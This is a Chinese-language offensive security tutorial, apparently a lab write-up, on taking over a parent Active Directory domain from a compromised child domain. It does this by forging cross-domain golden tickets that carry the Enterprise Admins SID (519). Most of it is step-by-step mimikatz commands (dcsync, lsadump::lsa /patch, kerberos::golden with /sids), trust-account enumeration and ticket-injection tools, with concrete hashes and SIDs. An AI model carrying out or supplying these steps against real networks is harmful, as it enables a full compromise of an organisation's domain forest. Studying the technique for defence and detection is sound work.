简要说明:

1、首先在子域和父域之间他们是固定会建立起双向信任关系的,子域是相对于父域来说的,最上层的叫做根域,例如ice.com 和test.ice.com 和a.test.ice.com,那么ice.com域为根域。根域权限非常大。

2、EA(企业管理员Enterprise Admins)只存在于根域中,在子域只有DA(普通域管理员权限Domain Admins),而EA会被森林内部所有域自动加入到本域管理员组,因此EA能管理所有子域。

3、正常的黄金票据,是成功拿到了Kerberos的hash,并与SID,子域名称,子域内任意伪造的用户名这四个条件的利用。
但是由于生成的SID为Mimikatz自己拼接的,而EA的RID(也就是SID的最后三位数字)为519,这个RID与原本的子域的SID(没有后三位)拼接,成为了S-1-5-21-3641416521-285861825-2863956705-512或S-1-5-21-3641416521-285861825-2863956705-519,其中512为DA生效,每个域都有DA;519为EA,由于是S-1-5-21-3641416521-285861825-2863956705-519为不存在而失效(因为子域没有EA组),那么也就无法进行跨域。

https://www.anquanke.com/post/id/172900?display=mobile&platform=iOS
https://www.cnblogs.com/zpchcbd/p/12215646.html

条件:

已获取A域的域控权限,并且与B域建立了域信任的关系,想获取B域的域控权限,其中AB域为父子关系。
实验环境:构造一个父子域
image.png
其中父域存在EA
image.png
子域只存在DA
image.png

1、域信任账户秘钥获取根域权限

此处为利用域信任账号的秘钥(hash)来获取根域的权限
1、获取域信任账户,此命令在Powershell下自带,不用使用任何第三方ps1

  1. Get-ADUser -filter {samaccountname -like "*$"}

image.png
2、获取此信任账户的hash

  1. lsadump::dcsync /user:ICEQAQ$@child.iceqaq.com

image.png

3、构造跨域黄金票据

  1. mimikatz "kerberos::golden /domain:子域的名称 /user:任意用户名 /rc4:信任秘钥hash service:krbtgt /sid:S-1-5-21-子域的SID(不需要RID) /sids:S-1-5-根域-519 /ptt /target:目标域 /ticket:sid-iceqaq.kirbi" exit
  2. 即为:
  3. mimikatz "kerberos::golden /domain:child.iceqaq.com /user:test /rc4:2d9d0dbc80b3f790bbcbdc186eef2bc7 service:krbtgt /sid:S-1-5-21-532888329-3018161785-1473154013 /sids:S-1-5-21-392257-2891596270-3803063837-519 /target:iceqaq.com /ticket:sid-iceqaq.kirbi" exit

4、生成一个跨域的黄金票据后,还需要再工具来将票据注入
asktgs.zip
asktgs.exe sid-iceqaq.kirbi CIFS/iceqaqdc.iceqaq.com
image.png
kirbikator.exe lsa CIFS.iceqaqdc.iceqaq.com.kirbi
image.png
这里成功获取了父域的权限了
image.png
值得注意的是,这里我们利用的是CIFS的权限,也就是我们此时获取到的是父域的文件共享权限,此时我们无法控制其他的兄弟域。

2、kerbtgt散列获取根域权限

1、获取子域kerbtgt账户的hash和SID
privilege::debug
lsadump::lsa /patch
image.png
2、获取父域(根域)的SID
这里使用打包好的一个powerview工具来进行https://github.com/tevora-threat/SharpView
SharpView.exe get-forest -domain iceqaq.com
image.png
也可以使用mimikatz命令同时获取目标与自身SID
lsadump::trust /patch
image.png

3、在子域上构造跨域黄金票据
先要清除已有,不然可能会影响效果
kerberos::purge

  1. kerberos::golden /user:Administrator /krbtgt:子域的KRBTGT_HASH /domain:子域的名称 /sid:S-1-5-21-子域的SID(不需要RID /sids:S-1-5-根域-519 /ptt
  2. 即为
  3. kerberos::golden /user:Administrator /krbtgt:ebf78b7328bf1bcfba15f188a9135a98 /domain:child.iceqaq.com /sid:S-1-5-21-532888329-3018161785-1473154013 /sids:S-1-5-21-392257-2891596270-3803063837-519 /ptt

完美且成功的获取了父域的权限,这个父域权限是真正的权限,可以管理所有以它为根的域
image.png